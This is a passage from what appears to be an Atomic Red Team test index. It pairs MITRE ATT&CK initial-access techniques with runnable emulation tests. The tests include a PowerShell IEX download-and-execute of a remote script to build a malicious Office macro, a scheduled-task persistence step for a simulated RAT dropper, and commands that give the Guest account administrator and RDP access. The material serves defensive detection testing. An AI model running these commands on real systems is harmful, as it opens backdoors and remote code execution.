Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Philip Winther x_mitre_deprecated: false x_mitre_detection: |- Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '2.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'File: File Creation' type: attack-pattern id: attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597 created: '2020-03-02T19:05:18.137Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566/001 external_id: T1566.001 - source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - source_name: Unit 42 DarkHydrus July 2018 description: Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018. url: https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/ - source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - source_name: Elastic - Koadiac Detection with EQL description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.' url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1566.001 atomic_tests: - name: Download Macro-Enabled Phishing Attachment auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306 description: | This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory. supported_platforms: - windows executor: command: | $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm name: powershell cleanup_command: 'Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore ' - name: Word spawned a command shell and used an IP address in the command line auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f description: | Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity. Upon execution, CMD will be launched and ping 8.8.8.8. supported_platforms: - windows input_arguments: jse_path: description: 'Path for the macro to write out the "malicious" .jse file ' type: string default: C:\Users\Public\art.jse ms_product: description: Maldoc application Word or Excel type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore ' name: powershell T1195.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef created: '2020-03-11T14:28:40.064Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1195.003 url: https://attack.mitre.org/techniques/T1195/003 x_mitre_deprecated: false revoked: false description: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Compromise Hardware Supply Chain x_mitre_detection: Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Sensor Health: Host Status' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1091: technique: modified: '2023-10-17T20:42:21.453Z' name: Replication Through Removable Media description: |- Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Joas Antonio dos Santos, @C0d3Cr4zy x_mitre_deprecated: false x_mitre_detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Access' - 'Process: Process Creation' - 'Drive: Drive Creation' - 'File: File Creation' x_mitre_system_requirements: - Removable media allowed, Autorun enabled or vulnerability present that allows for code execution type: attack-pattern id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4 created: '2017-05-31T21:31:08.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1091 external_id: T1091 - source_name: Windows Malware Infecting Android description: Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022. url: https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html - source_name: iPhone Charging Cable Hack description: Zack Whittaker. (2019, August 12). This hacker’s iPhone charging cable can hijack your computer. Retrieved May 25, 2022. url: https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/ - source_name: 'Exploiting Smartphone USB ' description: Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022. url: https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1091 atomic_tests: - name: USB Malware Spread Simulation auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75 description: "Simulates an adversary copying malware to all connected removable drives. \n" supported_platforms: - windows executor: name: powershell command: | $RemovableDrives=@() $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { write-host "Removable Drive Found:" $Drive New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives." } cleanup_command: | $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore } T1195: technique: modified: '2024-02-26T14:23:37.009Z' name: Supply Chain Compromise description: "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Veeral Patel x_mitre_deprecated: false x_mitre_detection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '1.6' x_mitre_data_sources: - 'Sensor Health: Host Status' - 'File: File Metadata' type: attack-pattern id: attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1195 external_id: T1195 - source_name: Avast CCleaner3 2018 description: Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities - source_name: Command Five SK 2011 description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf - source_name: IBM Storwize description: IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019. url: https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E - source_name: Symantec Elderwood Sept 2012 description: O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. url: https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf - source_name: Schneider Electric USB Malware description: Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019. url: https://www.se.com/ww/en/download/document/SESN-2018-236-01/ - source_name: Trendmicro NPM Compromise description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets - source_name: Microsoft Dofoil 2018 description: Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018. url: https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1195 atomic_tests: - name: Octopus Scanner Malware Open Source Supply Chain auto_generated_guid: 82a9f001-94c5-495e-9ed5-f530dbded5e2 description: | This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db [octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/) [the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/) supported_platforms: - windows input_arguments: rat_payload: description: RAT dropper ExplorerSync.db type: path default: "$env:TEMP\\ExplorerSync.db" dependency_executor_name: powershell dependencies: - description: 'ExplorerSync.db must exist on disk at specified location (#{rat_payload}) ' prereq_command: 'if (Test-Path #{rat_payload}) {exit 0} else {exit 1} ' get_prereq_command: 'Out-File -FilePath "#{rat_payload}" ' executor: command: | copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f cleanup_command: | schtasks /delete /tn ExplorerSync /F 2>null del %temp%\..\Microsoft\ExplorerSync.db 2>null del %temp%\ExplorerSync.db 2>null name: command_prompt T1190: technique: modified: '2023-11-28T21:27:35.373Z' name: Exploit Public-Facing Application description: |- Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Yossi Weizman, Azure Defender Research Team - Praetorian x_mitre_deprecated: false x_mitre_detection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - IaaS - Network - Linux - macOS - Containers x_mitre_version: '2.5' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1190 external_id: T1190 - source_name: CWE top 25 description: Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019. url: https://cwe.mitre.org/top25/index.html - source_name: CIS Multiple SMB Vulnerabilities description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018. url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/ - source_name: Wired Russia Cyberwar description: Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023. url: https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/ - source_name: Mandiant Fortinet Zero Day description: Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - source_name: NVD CVE-2016-6662 description: National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662 - source_name: NVD CVE-2014-7169 description: National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169 - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: OWASP Top 10 description: OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018. url: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018 description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1659: technique: modified: '2023-10-01T02:28:45.147Z' name: Content Injection description: |- Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide) Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'File: File Creation' type: attack-pattern id: attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c created: '2023-09-01T21:03:13.406Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1659 external_id: T1659 - source_name: EFF China GitHub Attack description: Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023. url: https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack - source_name: ESET MoustachedBouncer description: 'Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.' url: https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/ - source_name: Kaspersky Encyclopedia MiTM description: Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023. url: https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/ - source_name: Kaspersky ManOnTheSide description: Starikova, A. (2023, February 14). Man-on-the-side – peculiar attack. Retrieved September 1, 2023. url: https://usa.kaspersky.com/blog/man-on-the-side/27854/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.001: technique: modified: '2024-03-07T14:27:04.770Z' name: 'Valid Accounts: Default Accounts' description: |- Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d created: '2020-03-13T20:15:31.974Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/001 external_id: T1078.001 - source_name: AWS Root User description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html - source_name: Microsoft Local Accounts Feb 2019 description: Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Metasploit SSH Module description: undefined. (n.d.). Retrieved April 12, 2019. url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.001 atomic_tests: - name: Enable Guest account with RDP capability and admin privileges auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0 description: | After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections. supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest guest_password: description: Specify the guest password type: string default: Password123! local_admin_group: description: Specify the admin localgroup name type: string default: Administrators remote_desktop_users_group_name: description: Specify the remote desktop users group name type: string default: Remote Desktop Users remove_rdp_access_during_cleanup: description: Set to 1 if you want the cleanup to remove RDP access to machine type: integer default: 0 executor: command: |- net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f cleanup_command: |- net user #{guest_user} /active:no >nul 2>&1 net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1 net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1 if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1) name: command_prompt elevation_required: true - name: Activate Guest Account auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default ' supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest executor: command: 'net user #{guest_user} /active:yes ' cleanup_command: 'net user #{guest_user} /active:no ' name: command_prompt elevation_required: true - name: Enable Guest Account on macOS auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4 description: This test enables the guest account on macOS using sysadminctl utility. supported_platforms: - macos executor: command: sudo sysadminctl -guestAccount on cleanup_command: sudo sysadminctl -guestAccount off name: sh elevation_required: true T1199: technique: modified: '2022-11-08T14:00:00.188Z' name: Trusted Relationship description: |- Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers) In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_detection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT 